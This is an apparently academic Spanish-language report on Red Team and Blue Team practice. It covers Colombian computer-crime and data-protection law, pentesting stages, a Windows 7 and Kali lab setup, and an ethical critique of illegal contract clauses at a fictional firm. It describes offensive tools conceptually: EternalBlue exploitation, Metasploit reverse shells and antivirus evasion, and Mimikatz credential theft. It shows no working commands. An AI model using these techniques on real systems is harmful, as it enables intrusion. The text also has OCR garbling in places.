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Resumen
Este documento presenta un analisis detallado de las estrategias Red Team y Blue Team
aplicadas en el contexto de CyberFort Technologies, una empresa con practicas cuestionables
que violan normativas colombianas como la Ley 1273 de 2009 (delitos informaticos) y la Ley
1581 de 2012 (proteccion de datos personales). El objetivo principal es evaluar técnicas
ofensivas y defensivas en ciberseguridad, destacando la importancia de alinear las operaciones
con marcos legales y éticos. Se aborda el concepto de pentesting como metodologia clave para
identificar vulnerabilidades, detallando sus etapas: reconocimiento (con herramientas como
Nmap), explotacion (usando Metasploit Framework para aprovechar fallos como EternalBlue en
sistemas Windows 7 sin parches) y post-explotacion (creacion de usuarios maliciosos con
Mimikatz). Desde la perspectiva del Blue Team, se proponen medidas de hardening (eliminacion
de SMBv1, parches de seguridad) y herramientas de contencion como SIEM (para correlacionar
eventos) y CIS Benchmarks (para configuraciones seguras). Ademas, se contrastan las funciones
del Blue Team (prevencion proactiva) con las de los equipos de respuesta a incidentes (IR Team)
(remediacion reactiva). El analisis de CyberFort Technologies revela clausulas contractuales
ilegales, como la prohibicién de denunciar actividades ilicitas, lo que evidencia la necesidad de
supervision ética en ciberseguridad. En sintesis, el documento integra aspectos técnicos
(herramientas, metodologias), legales (normativas colombianas) y éticos, subrayando la
importancia de equilibrar capacidades ofensivas y defensivas para proteger sistemas criticos.
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Abstract
This document presents a detailed analysis of Red Team and Blue Team strategies applied in the
context of CyberFort Technologies, a company with questionable practices that violate
Colombian regulations such as Law 1273 of 2009 (computer crimes) and Law 1581 of 2012
(protection of personal data). The main objective is to evaluate offensive and defensive
cybersecurity techniques, emphasizing the importance of aligning operations with legal and
ethical frameworks. The concept of pentesting is addressed as a key methodology for identifying
vulnerabilities, detailing its stages: reconnaissance (using tools like Nmap), exploitation
(leveraging vulnerabilities such as EternalBlue with Metasploit Framework on unpatched
Windows 7 systems), and post-exploitation (creation of malicious users using Mimikatz). From
the Blue Team’s perspective, hardening measures are proposed (such as the removal of SMBv1
and the application of security patches), as well as containment tools like STIEM (for event
correlation) and CIS Benchmarks (for secure configurations). Furthermore, the roles of the Blue
Team (proactive prevention) are contrasted with those of Incident Response teams (reactive
remediation). The analysis of CyberFort Technologies reveals illegal contractual clauses, such as
the prohibition of reporting illicit activities, highlighting the need for ethical oversight in
cybersecurity. In summary, the document integrates technical (tools, methodologies), legal
(Colombian regulations), and ethical aspects, underscoring the importance of balancing offensive
and defensive capabilities to protect critical systems.

Keywords: blue team, colombian legal framework, cybersecurity, pentesting, red team
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Glosario
Acceso abusivo a sistema informatico (art. 269a, ley 1273 de 2009): delito que implica acceder
sin autorizacidn a sistemas informaticos, redes o bases de datos.
Aislamiento de sistemas: medida de contencion para desconectar un equipo comprometido de la
red y evitar la propagacion de amenazas.
Analisis forense: proceso de recopilar y analizar evidencia digital para investigar incidentes de
seguridad.
Blue team: equipo defensivo encargado de proteger sistemas mediante hardening, monitoreo y
respuesta a incidentes.
Benchmark CIS (center for internet security): conjunto de configuraciones de seguridad
estandarizadas para sistemas operativos y aplicaciones.
CVE (common vulnerabilities and exposures): identificador tnico para vulnerabilidades de
seguridad en software/hardware.
Ciberespionaje: uso ilegitimo de técnicas de ciberseguridad para robar informacion
confidencial.
Contencion: acciones inmediatas para limitar el impacto de un ataque (ej.: bloquear trafico
malicioso).
Dato personal (ley 1581 de 2012): informacién que identifica a una persona (nombre,
documento, salud, etc.).
Delitos informaticos (ley 1273 de 2009): conductas penales como dafio informatico, phishing o
interceptacion de datos.
Eternalblue (MS17-010): exploit que aprovecha una vulnerabilidad en SMBv1 para ejecucion

remota de codigo.
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EDR (endpoint detection and response): herramienta que monitorea y responde a amenazas en
endpoints.

Firewall de proxima generacion (NGFW): dispositivo que filtra trafico basado en aplicaciones,
usuarios y contenido.

Forensia digital: técnicas para preservar y analizar evidencia digital post-incidente.
Hardening: proceso de reforzar la seguridad de sistemas mediante configuraciones y parches.
Habeas data (ley 1266 de 2008): derecho de las personas a conocer, actualizar o eliminar sus
datos en bases de datos.

IR team (incident response): equipo especializado en contener, investigar y remediar incidentes
de seguridad.

ISO 27001: estandar internacional para sistemas de gestion de seguridad de la informaciéon
(SGSI).

Metasploit framework: plataforma para desarrollar y ejecutar exploits en pruebas de
penetracion.

MITRE ATT&CK: marco que clasifica tacticas y técnicas de ataque para mejorar defensas.
Nmap: herramienta de escaneo de redes para identificar hosts, puertos y servicios.

NAC (network access control): solucion que restringe el acceso a la red segtn politicas de
seguridad.

Pentesting: simulacion de ataques para identificar vulnerabilidades.

Phishing (art. 269g, ley 1273): suplantacion de sitios web para robar informacion confidencial.
Red team: equipo ofensivo que simula ataques para evaluar la seguridad de una organizacion.

Responsable del tratamiento (ley 1581): entidad que decide sobre el uso de datos personales.



16

SIEM (security information and event management): sistema que correlaciona logs para detectar
y responder a amenazas.

SMBV1: protocolo obsoleto de Windows vulnerable a exploits como EternalBlue.

Titular (ley 1581): persona duefia de los datos personales con derecho a controlar su uso.
Tratamiento de datos: operaciones como recoleccion, almacenamiento o eliminacion de datos
personales.

Virtual patching: mitigacion temporal de vulnerabilidades mediante reglas en firewalls/IPS.

Vulnerabilidad: debilidad en un sistema que puede ser explotada por atacantes.
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Introduccion

El presente trabajo tiene como objetivo analizar las estrategias ofensivas y defensivas en
seguridad informatica, tomando como referencia el caso de CyberFort Technologies, una
empresa cuyas practicas cuestionables ponen en evidencia los desafios éticos y legales en este
campo. A través de un enfoque integral, se exploran metodologias como el pentesting,
herramientas clave como Nmap y Metasploit, y marcos normativos colombianos como la Ley
1273 de 2009 (delitos informaticos) y la Ley 1581 de 2012 (proteccion de datos personales).

La ciberseguridad no solo implica proteger sistemas, sino también garantizar que las
acciones técnicas se enmarquen dentro de la legalidad. En Colombia, el tratamiento de datos
personales y los delitos informaticos estan regulados por un conjunto normativo que busca
equilibrar la innovacion tecnolédgica con la privacidad y la seguridad. Sin embargo, como se
evidencia en el analisis de CyberFort Technologies, existen practicas empresariales que vulneran
estos principios, desde clausulas contractuales ilegales hasta el uso indebido de herramientas
forenses OSTEC. (2022). El documento se estructura en torno a dos pilares fundamentales como:

Enfoque ofensivo (Red Team): Se detalla un ejercicio practico de pentesting donde se
explota la vulnerabilidad MS17-010 (EternalBlue) en un sistema Windows 7, demostrando como
un atacante podria comprometer un sistema sin parches y escalar privilegios.

Enfoque defensivo (Blue Team): Se proponen medidas de hardening, como la
eliminacion de protocolos obsoletos (SMBv1) y el uso de herramientas como SIEM para la
deteccion y respuesta ante incidentes (Ciberso. (2024, May 17)).

Ademas, se examinan las diferencias entre los equipos Red Team y Blue Team, asi como

la importancia de estdndares como los CIS Benchmarks para configuraciones seguras. También
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se reflexiona sobre el papel de los equipos de respuesta a incidentes (IR) y la necesidad de
mecanismos de supervision para prevenir abusos en el uso de herramientas de ciberseguridad.
Este documento no solo proporciona un analisis técnico de las estrategias Red Team y
Blue Team, sino que también invita a una reflexion critica sobre la ética, la legalidad y la
responsabilidad en el manejo de la informacion. A través de casos practicos y marcos
normativos, se busca destacar la importancia de una ciberseguridad robusta, transparente y

alineada con los derechos fundamentales en el entorno digital.
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Justificacion

El analisis de las estrategias Red Team y Blue Team aplicadas al caso de CyberFort
Technologies permite comprender tanto las vulnerabilidades técnicas como los vacios legales y
éticos que pueden presentarse en el &mbito de la seguridad informatica. Este estudio resulta
relevante al abordar un caso que evidencia las consecuencias de practicas cuestionables,
ofreciendo asi aprendizajes valiosos para prevenir situaciones similares.

Desde el punto de vista técnico, la investigacion aporta conocimientos practicos sobre
metodologias de pentesting y medidas de proteccion, utilizando herramientas ampliamente
reconocidas en el sector. En el aspecto normativo, el andlisis del marco legal colombiano,
especialmente las leyes 1273 de 2009 y 1581 de 2012, proporciona una guia clara sobre los
limites y responsabilidades en el manejo de sistemas y datos. Finalmente, el componente ético
del trabajo busca generar conciencia sobre la importancia de mantener principios profesionales
en el ejercicio de la ciberseguridad, equilibrando las capacidades técnicas con el respeto a la
privacidad y los derechos fundamentales.

Los resultados de este analisis no solo beneficiaran a profesionales del sector, sino
también a organizaciones que busquen fortalecer sus protocolos de seguridad. Al integrar
aspectos técnicos, legales y éticos, el trabajo ofrece una vision completa que puede servir como
referencia para implementar estrategias de ciberseguridad efectivas y responsables. La
combinacion de teoria y practica, junto con el estudio de un caso concreto, convierte a esta

investigacion en un aporte significativo para el campo de la seguridad informatica en Colombia.
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Objetivos
Objetivo General

Analizar las estrategias ofensivas (Red Team) y defensivas (Blue Team) en
ciberseguridad aplicadas al caso de CyberFort Technologies, evaluando su alineacion con el
marco normativo colombiano, para proponer medidas técnicas y éticas que fortalezcan la
proteccion de sistemas de informacion.

Objetivos Especificos

Evaluar técnicas ofensivas mediante pentesting, identificando vulnerabilidades a través
de herramientas como Nmap y Metasploit, documentando todas las fases del proceso.

Analizar estrategias defensivas del Blue Team, proponiendo medidas de hardening como
eliminacion de SMBv1 e implementacion de SIEM para monitoreo de amenazas.

Examinar el marco legal colombiano, relacionando practicas de CyberFort con
violaciones a las leyes 1273 de 2009 y 1581 de 2012 sobre delitos informéaticos y proteccion de
datos.

Integrar estandares internacionales como MITRE ATT&CK y CIS Benchmarks para

mejorar la postura de seguridad y automatizar respuestas.
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Etapa 1 - Conceptos Equipos de Seguridad

Delitos Informaticos y Proteccion Datos Personales

En Colombia, la proteccion de datos personales y delitos informaticos estan regulados en
las leyes 1581 de 2012, 1273 de 2009, 1266 de 2008 y el decreto 1377 de 2013 que reglamenta la
ley 1581 de 2012.
Ley 1581 de 2012 Proteccion de Datos Personales

Esta ley busca proteger el derecho de las personas a controlar sus datos personales 'y
garantiza que el tratamiento de esta informacion sea legal, seguro y transparente. Ademas de
prevenir abusos por parte de entidades publicas o privadas, asegurando la privacidad de cada
persona (Ley 1581 de 2012; Gestor Normativo, 2023).
Datos Personales

Los “datos personales” son cualquier tipo de informacién que puede identificar a una
persona, como los datos de identificacion nombre, documento de identidad, teléfono, direccion o
datos personales sensibles Informacidn sobre su salud, raza, religion, creencias politicas, etc.

(Articulo 3, Ley 1581 de 2012; Gestor Normativo, 2023)

. Dato personal: informacion vinculada a una persona natural.

. Responsable del tratamiento: quien decide sobre la base de datos.

. Encargado del tratamiento: quien procesa datos por cuenta del responsable.
o Titular: persona duefia de los datos.

Recoleccion de Datos Personales
Los “datos personales” pueden recolectarse a través de transacciones en linea como

solicitudes de crédito, compras en linea, registro en servicios de salud.



Articulo 4 — Legalidad, finalidad legitima, libertad (consentimiento previo), veracidad,
transparencia, acceso restringido, seguridad y confidencialidad. (Ley 1581 de 2012; Gestor
Normativo, 2023)

Tratamiento de los Datos Personales
Incluye su recoleccion, almacenamiento, uso, transferencia y eliminacion. Este

tratamiento debe realizarse de acuerdo con los principios de:

. Legalidad: basado en la “ley y consentimiento del titular”.

. Finalidad: para fines especificos y claros.

. Proporcionalidad: solo se deben recoger los datos necesarios.

. Transparencia: el titular debe estar informado sobre como se usan sus datos.

Obligaciones de los Responsables del Tratamiento, Articulo 17y 18

o Garantizar derechos del titular.
. Conservar datos con seguridad.
. Atender consultas y reclamos (plazos: 10 dias habiles para consultas, 15 para

reclamos). (Ley 1581 de 2012; Gestor Normativo, 2023)
. Informar al Titular sobre el uso de sus datos.
Las entidades que manejan los datos personales deben:

. Solicitar el consentimiento expreso de las personas para recolectar sus datos.
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J Asegurar la seguridad de los “datos personales” para prevenir su pérdida o acceso

no autorizado.

o Permitir el ejercicio de los “derechos de los titulares”, como la rectificacion y

cancelacion de sus datos. (Politica de Proteccion de Datos Personales, Ministerio de Ambiente de

Colombia, 2024)
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Ley 1273 de 2009 Normatividad sobre Delitos Informaticos

Esta modificacion en el codigo penal introduce los nuevos delitos relacionados con la

proteccion de la informacion, los datos personales y los sistemas informaticos. A continuacion,

se resumen los articulos de la ley.

Tabla 1

Articulos Ley 1273 de 2009

Articulo  Delito CIA Descripciéon
Implica el acceso no autorizado a sistemas informaticos. El
Acceso abusivo a o cual la persona puede ser castigada si obtiene acceso a un
) Confidencialidad ) )
269A un sistema dad sistema de computo, redes, bases de datos, etc; sin la debida
Integrida
informatico. autorizacion, violando las leyes de privacidad y seguridad
informatica.
Impedir o bloquear el funcionamiento de un sistema
o informatico o red”, mediante ataques (Ej: Denegacion de
Obstaculizacion o ) ) o
) ) ) ) o servicio (DDoS), Interrupcién de la disponibilidad del
269B ilegitima de sistema Disponibilidad o ) ) ) )
) ) servicio, Manipulacion del trafico de red) accion que interfiera
informético o red. ) o ) ) )
ilegalmente con la operatividad de un sistema informatico o
red, ya sea de manera directa o indirecta.
Interceptar o capturar datos que se transmiten a través de redes
Interceptacion de o o sistemas informéticos, sin autorizacion del usuario (Ej:
269C ) ) Confidencialidad o ) o
datos informaticos. Passwords, comunicaciones privadas o cualquier tipo de
transaccion)
Confidencialidad Alteracion, destruccion o dafio de datos almacenados en un
] ] Integridad sistema o red incluyendo la destruccion de archivos, datos
269D Dafio informatico. ) o ) ) o
Disponibilidad criticos o bases de datos, ademas del dafio fisico a dispositivos
(Gobierno de Espafia (DSN))
o Hacer uso de malware (Ej: virus, troyanos, spyware,
Uso de software Confidencialidad ] o .
o ) ransomware, etc.) incluyendo su distribucion e instalacion de
269E malicioso Integridad )
] o software para dafiar, robar o obtener acceso no autorizado a
(malware). Disponibilidad ) ) ]
sistemas informaticos.
La obtencidn, divulgacion o acceso no autorizado a datos
Violacién de datos o personales de una persona sin su consentimiento a
269F Confidencialidad

personales.

informacién personal como identificaciones, direcciones,

datos bancarios, etc.
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Articulo Delito CIA Descripcion

. Creacion de “sitios web” falsos que suplanten sitios legitimos
Suplantacion de o )
o o con el objetivo de engaiar a los usuarios y hurtar
269G sitios web Confidencialidad ) )
o “informacion personal” y/o “confidencial”, como passwords,
(phishing). )
datos bancarios.

Circunstancias agravantes que pueden aumentar la pena o la

severidad de la sancion en casos de delitos informaticos, como
269H Agravantes. - . ) o )

el dafio a un numero de personas, uso de técnicas sofisticadas

o explotacion de vulnerabilidades criticas.

Hurto por medios Robar informacion o valores mediante hackeo, ingenieria
2691 . . Confidencialidad

informaticos. social o suplantacion.

Transferencia no Realizar fraudes electronicos para desviar dinero o activos sin

Confidencialidad
269] consentida de ) autorizacion como transferencia de dinero en cuentas
) Integridad ) ) ) o
activos. bancarias o criptomonedas sin autorizacion.

Nota. Resumen de delitos informaticos segun la Ley 1273 de 2009 y su impacto en la seguridad de la informacion.

Ley 1266 de 2008 (Habeas Data)

Regula el tratamiento de datos personales en Colombia, en el ambito financiero,
crediticio, comercial y de servicios.

Establece el derecho de los ciudadanos a conocer, actualizar, rectificar y suprimir la
informacion que se conserve sobre ellos en bases de datos publicas o privadas. Aplica tanto a
personas naturales como juridicas, y delimita claramente los roles de los actores que intervienen
en el manejo de esta informacion: titulares, fuentes, operadores y usuarios.

Uno de sus principios mas importantes para el tratamiento de los datos personales es la
veracidad, finalidad, circulacion restringida y confidencialidad, con el fin de asegurar que la
informacion sea precisa, utilizada para fines legitimos y protegida contra accesos no autorizados.
También requiere el consentimiento previo e informado de la persona o titular para compartir sus

datos y garantiza que pueda ejercer sus derechos. (Ley 1266 de 2008; Gestor Normativo, 2021)
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Decreto 1377 de 2013

El decreto reglamenta parcialmente la Ley 1581 de 2012, estableciendo directrices para
que las empresas cumplan con la proteccion de datos personales. Define el aviso de privacidad
que debe informar a los titulares sobre el tratamiento de sus datos, y aclara que los datos en
contextos personales o domésticos no estan sujetos a la ley.

El decreto exige autorizacion expresa, previa e informada del titular y detalla los medios
para obtenerla. También obliga a las organizaciones a publicar sus politicas de tratamiento de
datos. Regula la transferencia internacional de datos, permitiéndola solo si el pais receptor
garantiza proteccion adecuada. Ademas, introduce el principio de responsabilidad demostrada,
exigiendo a las entidades implementar y demostrar medidas de proteccion de datos. (Decreto
1377 de 2013; Gestor Normativo, 2015)

Definir cada una de las Etapas de Pentesting
Planificacion y reconocimiento

Esta etapa inicial consiste en definir el alcance del pentest, identificar los activos a
evaluar servidores, aplicaciones, redes, etc. y establecer las reglas de compromiso. También
implica una primera fase de recopilacién de informacion sobre el objetivo, como direcciones IP,
dominios, y detalles publicos que puedan ser tutiles (Almatisse, 2023).

Ejemplo Herramienta:

Maltego: utilizada para recolectar informacion de fuentes abiertas OSINT, ideal para el
mapeo de relaciones entre entidades como dominios, correos, infraestructura, etc. (How to

Conduct Person of Interest Investigations Using OSINT and Maltego, 2023)



26

Escaneo y andlisis

En esta etapa se identifican servicios, puertos abiertos y sistemas operativos en ejecucion
para conocer la superficie de ataque. También se analizan las versiones de software que podrian
tener vulnerabilidades conocidas.

Ejemplo Herramienta:

Nmap: Permite escanear redes y puertos, identificar servicios activos, versiones y
sistemas operativos asociados a los hosts detectados. (Nmap Project, 2022)

Evaluacion de vulnerabilidades

Consiste en detectar debilidades especificas en los sistemas, como configuraciones
incorrectas, software desactualizado o fallas en el disefio de seguridad. Se utilizan escaneres
automaticos y técnicas manuales para esta evaluacion.

Ejemplo Herramienta:

Nessus: Escaner de vulnerabilidades que detecta y clasifica posibles fallos de seguridad
en sistemas, servicios y aplicaciones. (Evaluacion de Vulnerabilidades Avanzada Con Nessus
Professional, 2025)

Explotacion

Aqui se intenta explotar activamente las vulnerabilidades identificadas para obtener
acceso no autorizado o ejecutar acciones maliciosas. El objetivo es comprobar si las debilidades
son explotables y cudl seria el impacto real en un entorno productivo.

Ejemplo herramienta:

Metasploit framework: Plataforma ampliamente usada para el desarrollo y ejecucion de

exploits, simulando ataques reales controlados. (Metasploit Documentation, 2025)
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Post-explotacion

Tras obtener acceso, se analiza el nivel de control sobre el sistema y el valor de la
informacion comprometida. También se investiga si es posible escalar privilegios, moverse
lateralmente dentro de la red o mantener el acceso sin ser detectado.

Ejemplo Herramienta:

Mimikatz: Herramienta utilizada para extraer credenciales, tokens y otros secretos en
sistemas Windows tras una explotacion exitosa. (Mimikatz, 2021)

Informe y Recomendaciones

En esta fase se documentan todos los hallazgos, técnicas empleadas y vulnerabilidades
explotadas. Se incluyen evidencias, impacto potencial y recomendaciones detalladas para mitigar
los riesgos encontrados.

Ejemplo Herramienta:

Dradis: Plataforma open source para centralizar y documentar los hallazgos de seguridad,
facilitando la generacion de informes colaborativos y estructurados en un test de penetracion.
(DragonJAR, 2009)

Herramientas de Ciberseguridad
Metasploit

Es una herramienta de codigo abierto para pruebas de penetracion que permite identificar
y explotar vulnerabilidades en sistemas Windows, Linux y macOS. Ofrece modulos
especializados para escaneo, explotacion, ejecucion de cargas utiles como shells inversos y
técnicas de evasion de antivirus. Su funcionamiento bésico consiste en seleccionar un exploit,
configurar el objetivo, elegir una carga util y ejecutar el ataque, siendo una herramienta esencial

para auditorias de seguridad y evaluaciones de vulnerabilidades (Rapid7, 2025)
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Nmap

Herramienta de “cddigo abierto” para exploracion de redes y auditorias de seguridad que
permite identificar hosts activos, servicios disponibles” con sus versiones, sistemas operativos,
dispositivos y configuraciones de red mediante el envio de paquetes IP. Genera informes
detallados sobre el estado de los puertos “abiertos, cerrados, filtrados” y ayuda a evaluar la
exposicion de servicios, siendo util tanto para pruebas de penetracion como para tareas
administrativas como inventarios de red y monitoreo de servicios. (Guia de Pagina de Manual,
2025)
Openvas

Conocido ahora como Greenbone Vulnerability Management (GVM) Herramienta de
codigo abierto diseniada para escanear y gestionar vulnerabilidades en sistemas informaticos.
Desarrollada por creadores de Nessus, permite identificar, evaluar y priorizar debilidades de
seguridad en infraestructuras IT. Actualmente es reconocida como una solucion robusta que se
ha consolidado como alternativa lider para auditorias de seguridad, cumplimiento normativo y

monitoreo proactivo de riesgos en entornos corporativos. (Borges, 2020)

Servicios en Linea
Exploitdb

Es un repositorio publico y gratuito que recopila exploits funcionales y pruebas de
concepto para vulnerabilidades de software, vinculandolas a sus identificadores CVE. Esta
dirigida a pentesters e investigadores, integra contribuciones comunitarias, listas de correo y
fuentes publicas, ofreciendo codigo utilizable (no solo alertas) para analisis practicos de

seguridad. Su enfoque en material ejecutable la distingue como recurso clave en ciberseguridad.



29

CVE (vulnerabilidades y exposiciones comunes).

Es una herramienta esencial en ciberseguridad que permite identificar y catalogar
vulnerabilidades de seguridad en software y hardware. Es gestionado por MITRE corporation
desde 1999 la cual asigna identificadores unicos (ID’s CVE) para estandarizar la comunicacion
de fallos (MITRE ATT&CK, 2017). Se basa en los siguientes criterios para asignacioén de un ID

de CVE:

J Ser reparable de forma independiente: La vulnerabilidad debe poder corregirse sin
depender de otras fallas.

. Reconocimiento del proveedor o documentacion en un informe de vulnerabilidad:
El proveedor debe reconocer la existencia del fallo y su impacto en la seguridad, o bien, debe
existir un informe que demuestre dicho impacto.

. Afectar a una unica base de codigo: el fallo debe afectar solo a un producto o base
de codigo especifica. Si afecta a multiples productos, se asignan IDs de CVE independientes para

cada uno.

Configuracion Banco de Trabajo

Descargar Herramienta Virtualbox
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Figura 1

Evidencia Descarga Virtualbox
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Nota. Elaboracion propia de evidencia de descarga de aplicacion.

Descargar imagen.ova y archivo.zip

Figura 2

Evidencia Descarga .ova y Archivo .zip
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Nota. Elaboracion propia de la evidencia de descarga de ova y archivo zip.
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Figura 3

Evidencia descarga kali linux
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Nota. Elaboracion propia de la evidencia de descarga de kali linux.
Evidencia comunicacion maquinas windows y kali

Figura 4
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Nota. Elaboracion propia de la comunicacion entre maquinas virtuales.
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Evidencias montaje de banco de trabajo.
Banco de trabajo; configuracion de maquinas virtualizadas
Maquina virtual: windows (caracteristicas ya preconfiguradas en el archivo.ova)
o Sistema operativo: windows 7 Professional
J CPU: intel64 family 6 model 154 (1 procesador, ~2497 MHz)

. Memoria RAM: 4 gb

. Disco duro asignado: 50 GB (virtualizado en virtualbox)
. Red: conexidn de area local con direccion IP 192.168.1.20
. Maquina virtual: kali Linux; el equipo anfitrion tiene alta capacidad hardware,

por lo anterior se asignaron manualmente caracteristicas mas altas para aprovechar las

herramientas de pentensting o ciber en Kali.
. Sistema pperativo: kali linux 2025.1
° CPU: intel core i5-12450H (8 nucleos, 16 hilos, 1.5 GHz base, hasta 4.4 GHz)

. Memoria RAM: 7.8 GB (1.1 GB en uso, 6.6 GB disponibles)

. Disco duro asignado: 80 GB (virtualizado en VirtualBox)
° Red: conexion de area local con direccion IP 192.168.1.19
Evidencias

Memoria
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Figura 5

Evidencia memoria
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Nota. Elaboracion propia de evidencia de la asignacion de memoria a la maquina virtual.

Procesador

Figura 6

Evidencia Procesador
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Nota. Elaboracion propia de evidencia de la asignacion de procesador en la maquina virtual.

Almacenamiento



Figura 7

Evidencia Almacenamiento
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Nota. Elaboracion propia de evidencia de la asignacion de almacenamiento en la maquina virtual.

Red

Figura 8

Evidencia red
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Nota. Elaboracion propia de evidencia de configuracion de tarjeta de red.
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Resumen Hardware en Maquinas Virtuales

Figura 9

Evidencia resumen hardware maquinas virtuales

Edit Connections Window Help ® & Sib5 deabr. 6:31p.m.

File Actions Edit View Help
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HONS #mB Y S8 croereon

Nota. Elaboracion propia de evidencia de los recursos hardware de las maquinas virtuales.

Etapa 2 - Actuacion ética y legal

Analisis Legal y Etico del Escenario 2

Desde el inicio era un escenario juridicamente con riesgo, debido a que el contrato fue
elaborado por un abogado desvinculado por presuntas irregularidades y que el documento no fue
revisado por la gerencia antes de su entrega a los aspirantes. Esto representa una falla de control
interno delicado en procesos contractuales que podria dar lugar a la aceptacion de clausulas
abusivas o inconstitucionales, bajo presion y sin asesoria juridica.

Ademas, al exigir la firma del acuerdo como condicion para continuar el proceso de
seleccion, se vulnera el principio de libre consentimiento informado, lo cual anula la voluntad

contractual en términos juridicos.
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De acuerdo con las clausulas especificas que presentan inconsistencias frente al marco
normativo colombiano y los estandares éticos laborales se pueden identificar:
Actividades Delictivas Informacion Confidencial

“datos secretos como datos de chuzadas, interceptacion de informacion, accesos abusivos
a sistemas informaticos”

Incluir actividades que corresponden a delitos informaticos como informaciéon
"confidencial" resulta éticamente reprochable y juridicamente inaceptable. La confidencialidad

nunca puede aplicarse sobre conductas tipificadas penalmente. Aqui se vulneran directamente:

. Art. 269A — Acceso abusivo a sistema informatico
. Art. 269C — Interceptacion de datos informaticos
. Art. 269F — Violacion de datos personales

Prohibicion Expresa de Denuncia ante las Autoridades

Clausula Cuarta, numeral 3: “No denunciar ante las autoridades actividades sospechosas
de espionaje”

Esta clausula viola el deber legal de colaborar con la justicia (Art. 444 del Codigo Penal)
y se opone al principio de legalidad. No puede considerarse valido un acuerdo que impida al
ciudadano cumplir con su deber de denunciar hechos ilicitos, lo que hace que esta disposicion
sea nula por objeto ilicito.
Silenciamiento Contractual Frente a Actos Ilegales

Clausula cuarta, numeral 4: “abstenerse de denunciar y publicar la informacion
confidencial e ilegal”

Esta clausula incurre en una contradiccion legal: si la informacion es ilegal, debe

denunciarse, no protegerse. Ademas, pone al trabajador en una posicion de complicidad forzada,
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vulnerando la buena fe contractual (C.C. art, 1603) y principios de derecho penal como el debido
proceso y la no auto-incriminacion forzada.
Exoneracion de Responsabilidad Penal a la Empresa

Cléausula Octava: “el receptor debera acudir a un abogado privado y dejar exenta de
cualquier responsabilidad legal y penal a “CyberFort Technologies™.”

Esta clausula busca trasladar toda la carga legal al aspirante, sin importar si la
informacion fue entregada por la misma empresa o si se actud bajo subordinacion. Esto no solo
es abusivo, sino que contraviene el principio de responsabilidad individual y podria incluso

interpretarse como encubrimiento institucional.

Se podrian configurar agravantes conforme al articulo 269H de la Ley 1273,

especificamente:

. Numeral 3: Se aprovecha la relacion de confianza entre empleador y aspirante.

. Numeral 5: Posibles beneficios ilegales mediante acuerdos extrajudiciales.

. Numeral 7: Se instrumentaliza la vulnerabilidad del aspirante.

. Numeral 8: La empresa es quien administra la informacion, pero intenta eludir esa
responsabilidad.

Responsabilidad por Terceros
Clausula Cuarta, numeral 7: “Responder por el mal uso que le den sus representantes a la
informacion confidencial.”

Esta clausula impone al trabajador la responsabilidad por acciones que no dependen de él,
lo cual contradice el principio de culpabilidad penal y el derecho a la defensa (Art. 29 de la

Constitucion).
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Informacion Confidencial sin Advertencia Previa
Cléausula Tercera: “sin que requiera advertir su caracter confidencial.”

Esto genera un riesgo elevado, ya que cualquier informacion, aun no marcada ni
explicada como confidencial, podria ser usada para sancionar al trabajador. Se vulnera asi el
principio de tipicidad y seguridad juridica.

Aceptar o Rechazar; Analisis Etico segiin COPNIA

No lo aceptaria debido que aceptar un empleo en una organizacién como “CyberFort
Technologies”, que presenta indicios claros de procesos poco confiables e incluso posiblemente
delictivos, representaria un grave riesgo personal, profesional y ético, sin importar el salario
ofrecido ni la estabilidad contractual. Aunque la oferta de $15.000.000 mensuales y un contrato
vitalicio pueda parecer atractiva, ningiin beneficio econémico justifica comprometer mis
principios, mi integridad y mi responsabilidad como ingeniero.

Desde el punto de vista legal, una vinculacion con una organizacion involucrada en
actividades informaticas irregulares o ilicitas podria implicar investigaciones judiciales por
complicidad o encubrimiento, lo cual podria resultar en sanciones penales. Ademas, desde el
plano profesional, la pérdida de credibilidad, la cancelacion de la matricula profesional y el dafo
reputacional serian practicamente inevitables, cerrando puertas en futuras oportunidades
laborales.

Mias alla de los riesgos, el Codigo de Etica Profesional del COPNIA establece
lineamientos que deben guiar cada una de nuestras decisiones como ingenieros: (CPNIA, Ley

842 de 2003, 2016)
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Articulos
Articulo 31 (b, f)

Exige actuar con transparencia y honestidad, prohibiendo cualquier accién que oculte
informacion relevante o favorezca actos ilicitos. Incluso impone el deber de denunciar
irregularidades. Aceptar este empleo seria una forma directa de encubrimiento y omision de
denuncia, lo que vulnera gravemente estos principios.

Articulo 32 (c, j)

La ética profesional exige rechazar cualquier tipo de beneficio econdémico que implique
tolerar o facilitar conductas irregulares. Cambiar mis valores por un salario alto representa una
falta gravisima y una traicion a la responsabilidad social inherente a la profesion.

Articulo 53 (e)

Establece que participar en empresas con practicas delictivas con lleva sanciones
disciplinarias que incluyen la cancelacion de la matricula profesional, comprometiendo
irreversiblemente mi ejercicio profesional.

Articulo 32 (b)

También prohibe aceptar beneficios econdmicos indebidos, incluso cuando estos no se
presenten como comisiones directas. En este caso, el salario ofrecido podria considerarse una
retribucion ética y legalmente cuestionable.

Articulo 39 (a)

Sefiala que el profesional debe guardar confidencialidad, salvo cuando se trate de hechos

ilegales que deban ser denunciados. Trabajar en un entorno corrupto me colocaria en un conflicto

constante entre lo legal y lo ético.
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Articulo 40 (a)

Advierte que no se deben ofrecer servicios profesionales para fines dudosos o que
sobrepasen la integridad y capacidad del profesional. Participar en un entorno con objetivos
criminales va en contra del propodsito mismo de la ingenieria: construir, no destruir.

Riesgos Eticos y Legales Caso Cyberfort Technologies

Las auditorias de seguridad requieren acceso a informacion critica, pero este debe estar
estrictamente regulado para evitar abusos. El principio de "minimo privilegio necesario"
(Articulo 4 de la Ley 1581 de 2012; Establece que el tratamiento de datos personales debe
sujetarse a los limites derivados de la naturaleza de los datos y las disposiciones legales,
permitiendo su tratamiento solo por personas autorizadas por el titular y/o por las personas
previstas en la ley.), donde el acceso se limita solo a lo indispensable para cumplir con los
objetivos pactados en el contrato. A continuacion, se detallan los limites y garantias clave:
Limites Razonables al Acceso

Justificacion técnica y contractual: El acceso debe estar claramente definido en el
contrato, especificando qué sistemas, datos y periodos estan autorizados. (Ley 1581 de 2012
Articulo 9)

Consentimiento informado y granular: El cliente debe aprobar por escrito cada fase de
acceso, asegurando transparencia en el tratamiento de datos. (Ley 1581 de 2012 articulo 12)
Consentimiento informado y granular

El cliente debe aprobar por escrito cada fase de acceso (ej: "acceso a servidores de correo
entre el 1°y 15 de mayo"). (E1 RGPD Articulo 6 y Ley 1581 de 2012 (Colombia) exigen

transparencia en el tratamiento de datos.)
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Proteccion por diseiio
Se deben implementar técnicas como seudonimizacion, sandboxing y tokenizacion que

garanticen la seguridad de los datos, desde el disefio del sistema. (Villanueva, 2022)

